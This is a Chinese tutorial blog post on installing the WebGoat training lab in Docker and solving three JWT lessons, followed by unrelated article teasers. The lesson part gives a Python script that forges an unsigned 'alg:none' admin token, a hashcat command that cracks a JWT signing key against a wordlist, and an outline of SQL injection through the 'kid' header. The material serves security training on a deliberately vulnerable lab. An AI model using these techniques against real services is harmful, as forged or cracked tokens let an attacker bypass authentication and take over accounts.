小迪安全v2023 javaWeb项目

小迪安全v2023 javaWeb项目

文章目录

    • 小迪安全v2023 javaWeb项目
    • 1. webgoat靶场
      • 1. 环境配置与docker操作
    • 2. jwt令牌
      • 1. jwt 第四关 签名没验证空加密
      • 2. jwt 第五关 爆破签名密钥
      • 3. jwt 第八关 kid参数可控

1. webgoat靶场

1. 环境配置与docker操作

自行下载配置vmware的kali-linux环境。

下载jdk-17

sudo apt update
sudo list --upgradable
sudo apt install openjdk-17-jdk
sudo update-alternatives --config java
java -version

下载docker

sudo apt-get install docker.io

使用代理加速docker pull

sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/proxy.conf编辑proxy.conf文件,按i插入,esc回到命令模式,:wq保存退出。
代理替换成自己的
vim /etc/systemd/system/docker.service.d/proxy.conf[Service]
Environment="HTTP_PROXY=socks5://192.168.2.103:11451"
Environment="HTTPS_PROXY=socks5://192.168.2.103:11451"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"

然后重载systemd并重启docker服务

sudo systemctl daemon-reload
sudo systemctl restart docker

拉取靶场镜像

docker pull webgoat/webgoat-8.0

查看镜像列表

docker images

在这里插入图片描述

下面运行docker容器

-i:表示以交互模式运行容器。

-d:表示以后台模式运行容器。

-t:表示分配一个伪终端(pseudo-tty)并绑定到容器的标准输入上。

并将容器的8080端口(右边)映射到主机的8080端口(左边),设置容器的名字为webgoat-114 ,使用的镜像为webgoat/webgoat-8.0。

docker run -p 8080:8080 -idt --name webgoat-114 webgoat/webgoat-8.0

查看容器列表
docker ps -a暂停容器
docker stop id号开启容器
docker start id号删除容器
docker rm id号进入容器操作
docker exec -it webgoat-114 bash
ls
java -jar webgoat.jar退出容器
exit

在这里插入图片描述

在主机访问虚拟机的webgoat服务

虚拟机ifconfig看一下地址,然后在主机访问。

![在这里插在这里插入图片描述

2. jwt令牌

在这里插入图片描述

​ 用户登录后,服务器会验证用户名密码,然后返回jwt令牌。后面用户与服务器交互要加上Authorization Header,让服务器检查jwt签名。

载荷常见属性

iss:发行人

aud:受众

iat:签发时间

exp:过期时间

1. jwt 第四关 签名没验证空加密

这关比较抽象。

JWTToken.java中

private static boolean validateSignature(String secretKey, String jwt) {if (hasText(secretKey)) {JwtConsumer jwtConsumer =new JwtConsumerBuilder().setSkipAllValidators()//不验证签名或声明,跳过所有验证步骤.setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8))).setRelaxVerificationKeyValidation()//放松对验证密钥的验证.build();try {jwtConsumer.processToClaims(jwt);return true;} catch (InvalidJwtException e) {return false;}}return false;}

在这里插入图片描述

处理reset的函数

开启抓包,然后切换到Jerry,然后drop直到出现access_token,burpsuite选择拦截响应,然后forward一次,然后drop直到遇到响应包出现access_token

在这里插入图片描述

将这时的access_token放进jwt.io网站中

在这里插入图片描述

根据上面的值编写python代码

import jwt
import base64
def b64urlencode(data):return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
#Base64URL编码与Base64类似,主要是将Base64编码中的=省略,+替换为-,/替换为_
print(b64urlencode(b'{"alg":"none"}') + b'.' + b64urlencode(b'{"iat":1720450665,"admin":"true","user":"Jerry"}') + b'.')

eyJhbGciOiJub25lIn0.eyJpYXQiOjE3MjA0NTA2NjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.结果替换burp中的access_token。forward一次后,连续drop几次,然后关闭burpsuite拦截。

此时点击垃圾桶选项,显示通关。

在这里插入图片描述

2. jwt 第五关 爆破签名密钥

先去下载一个google提供的常见单词top 10000作为字典,下载地址:

https://github.com/first20hours/google-10000-english

然后在kali里面把jwt放进jwt.txt,使用hashcat爆破

hashcat -m 16500 jwt.txt -a 3 -w 3 google-100*

-m 16500 ,这里的16500对应的就是jwt的token爆破;

-a 3 , 代表蛮力破解

-w 3 , 可以理解为高速破解,就是会让桌面进程无响应的那种高速

jwt.txt , 是我把题目要求破解的token保存到的文件

google-10000-english.txt , 就是google提供的10000个单词/词组/短语

在这里插入图片描述

https://jwt.io/#encoded-jwt

在这里插入图片描述

左侧的值即最终的token。

3. jwt 第八关 kid参数可控

kid是jwt头部中的一个可选参数,全称’key id’,它用于指定加密算法所使用的密钥。

可控则会导致任意文件读取,sql注入,命令注入。

在这里插入图片描述

​ 如图所示,JWTHeaderKIDEndpoint.java存在sql注入漏洞,将查到的值base64解码作为secret进行token解析。

抓包,把token放进网站,需要改username,kid,exp,密钥。

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/36622.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《mysql篇》--查询(进阶)

目录 将查询结果作为插入数据 聚合查询 聚合函数 count sum group by子句 having 联合查询 笛卡尔积 多表查询 join..on实现多表查询 内连接 外连接 自连接 子查询 合并查询 将查询结果作为插入数据 Insert into 表2 select * from 表1//将表1的查询数据插入…

Linux开发讲课20--- QSPI

SPI 是英语 Serial Peripheral interface 的缩写,顾名思义就是串行外围设备接口,一种高速的,全双工,同步的通信总线,并且在芯片的管脚上只占用四根线,节约了芯片的管脚,为 PCB 的布局上节省空间…

SpringMVC常用功能实现

1. 导入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId> </dependency> 2. 端口配置 server:port: 8080 3. 统一功能处理 3.1 拦截器 3.1.1 生成 package com.exa…

PHP和phpSpider:如何应对反爬虫机制的封锁?

php和phpspider&#xff1a;如何应对反爬虫机制的封锁&#xff1f; 引言&#xff1a; 随着互联网的快速发展&#xff0c;对于大数据的需求也越来越大。爬虫作为一种抓取数据的工具&#xff0c;可以自动化地从网页中提取所需的信息。然而&#xff0c;由于爬虫的存在&#xff0c…

Springcloud-消息总线-Bus

1.消息总线在微服务中的应用 BUS- 消息总线-将消息变更发送给所有的服务节点。 在微服务架构的系统中&#xff0c;通常我们会使用消息代理来构建一个Topic&#xff0c;让所有 服务节点监听这个主题&#xff0c;当生产者向topic中发送变更时&#xff0c;这个主题产生的消息会被…

Controller中的参数解析器【Spring源码学习】

mockRequest构建request请求 private static HttpServletRequest mockRequest(){MockHttpServletRequest request new MockHttpServletRequest();request.setParameter("name1","zhangsan");request.setParameter("name2","lisi");r…

多线程引发的安全问题

前言&#x1f440;~ 上一章我们介绍了线程的一些基础知识点&#xff0c;例如创建线程、查看线程、中断线程、等待线程等知识点&#xff0c;今天我们讲解多线程下引发的安全问题 线程安全&#xff08;最复杂也最重要&#xff09; 产生线程安全问题的原因 锁&#xff08;重要…

左耳听风_116_115_Go_编程模式Kubernetes_Visitor模式

你好&#xff0c;我是陈浩网名左耳多浩子。 这节课呢我们来重点讨论一下cuba netice的酷ver CTL命令它使用到了一个编程模式叫做visitor. Visitor呢是面向对象模式中一个很重要的设计模式。 那这个模式呢是将算法与操作对象的结构分离的一种方法。 那这种分离的实际结果呢是…

Python基础之错误和异常讲解

文章目录 1 错误和异常1.1 简介1.1.1 语法错误1.1.2 异常 1.2 抛出异常1.2.1 抛出原装异常1.2.2 assert异常1.2.3 抛出用户自定义异常 1.3 异常处理1.3.1 try/except1.3.2 try/except...else1.3.3 try-finally 语句1.3.4 with 关键字 1.4 分析记录错误1.4.1 分析错误1.4.2 记录…

Hive笔记-6

6.2.8 聚合函数 1) 语法 count(*)&#xff0c;表示统计所有行数&#xff0c;包含null值&#xff1b; count(某列)&#xff0c;表示该列一共有多少行&#xff0c;不包含null值&#xff1b; max()&#xff0c;求最大值&#xff0c;不包含null&#xff0c;除非所有值都是null&a…

不同node版本的切换及其指定版本vue-cli脚手架下载

目录 一.清空本地已安装node.js版本 二.装nvm管理工具 三.安装指定node版本 四.使用nvm命令切换或删除指定node版本 五.在指定node版本下下载指定vue-cli脚手架 一.清空本地已安装node.js版本 1.按健winR弹出窗口&#xff0c;键盘输入cmd&#xff0c;然后敲回车。 2.输入…

win11 + ubuntu linux双系统:开机直接进入windows修复

https://zhuanlan.zhihu.com/p/666702893 这种 双系统直接进入win 的问题&#xff0c;应该属于引导坏了&#xff0c;即grub坏了。 原因&#xff1a;笔记本送修了&#xff0c;没拆掉硬盘&#xff0c;可能引导被售后搞坏了。 在win-磁盘管理中查看分区&#xff0c;linux的分区…

《SpringBoot+Vue》Chapter04 SpringBoot整合Web开发

返回JSON数据 默认实现 依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency>在springboot web依赖中加入了jackson-databind作为JSON处理器 创建一个实体类对象…

8.javaSE基础进阶_泛型generics(无解通配符?+上下界统配符superextends)

文章目录 泛型generics一.泛型简介二.泛型类1.泛型方法 三.泛型接口四.泛型进阶1.*<?>无解通配符*2.上界通配符 < ? extends E>3.下界通配符 < ? super E>4.泛型擦除 泛型generics 一.泛型简介 JDK5引入,一种安全机制,编译时检测不匹配类型 特点: 将数…

学编程容易遇到的误区,请提前规避

随着互联网行业的蓬勃发展和编程技术的普及&#xff0c;越来越多的人开始对编程感兴趣。然而&#xff0c;编程学习并非一蹴而就&#xff0c;新手入门时常常会陷入误区&#xff0c;影响学习状态效率。 今天&#xff0c;我们来一起揭开编程学习常见的五大误区&#xff0c;希望能…

【融合ChatGPT等AI模型】Python-GEE遥感云大数据分析、管理与可视化及多领域案例应用

随着航空、航天、近地空间遥感平台的持续发展&#xff0c;遥感技术近年来取得显著进步。遥感数据的空间、时间、光谱分辨率及数据量均大幅提升&#xff0c;呈现出大数据特征。这为相关研究带来了新机遇&#xff0c;但同时也带来巨大挑战。传统的工作站和服务器已无法满足大区域…

如何激活typora

话不多说&#xff0c;直接上流程。 1、先下载最新的typora安装包&#xff0c;并安装成功。 Typora的安装 &#xff08;1&#xff09;官网下载&#xff1a;https://typora.xnxxxk.cn/index.html?qhclickid777dd93d58082a46 2、下载百度云我上传的两个exe&#xff0c;不大&…

四轮转向控制器与里程计数据计算的实现

在机器人开发中,四轮转向(Four-Wheel Steering,简称4WS)广泛应用于提高车辆的操控性能和运动灵活性。本文将详细介绍如何通过C++代码实现一个四轮转向控制器,并结合里程计数据提供精准的车辆位置信息反馈。 一、头文件与命名空间 我们需要包括几个关键头文件来处理数学计…

Host Static Assets in CDN(在CDN中托管静态资源)

Host Static Assets in CDN&#xff08;在CDN中托管静态资源&#xff09; 什么是CDN&#xff1f; CDN&#xff08;内容分发网络&#xff0c;Content Delivery Network&#xff09;是一种分布式的网络基础设施&#xff0c;用于高效地分发内容。CDN在全球多个数据中心部署缓存服…

嵌入式实验---实验五 串口数据接收实验

一、实验目的 1、掌握STM32F103串口数据接收程序设计流程&#xff1b; 2、熟悉STM32固件库的基本使用。 二、实验原理 1、STM32F103R6能通过查询中断方式接收数据&#xff0c;每接收到一个字节&#xff0c;立即向对方发送一个相同内容的字节&#xff0c;并把该字节的十六进…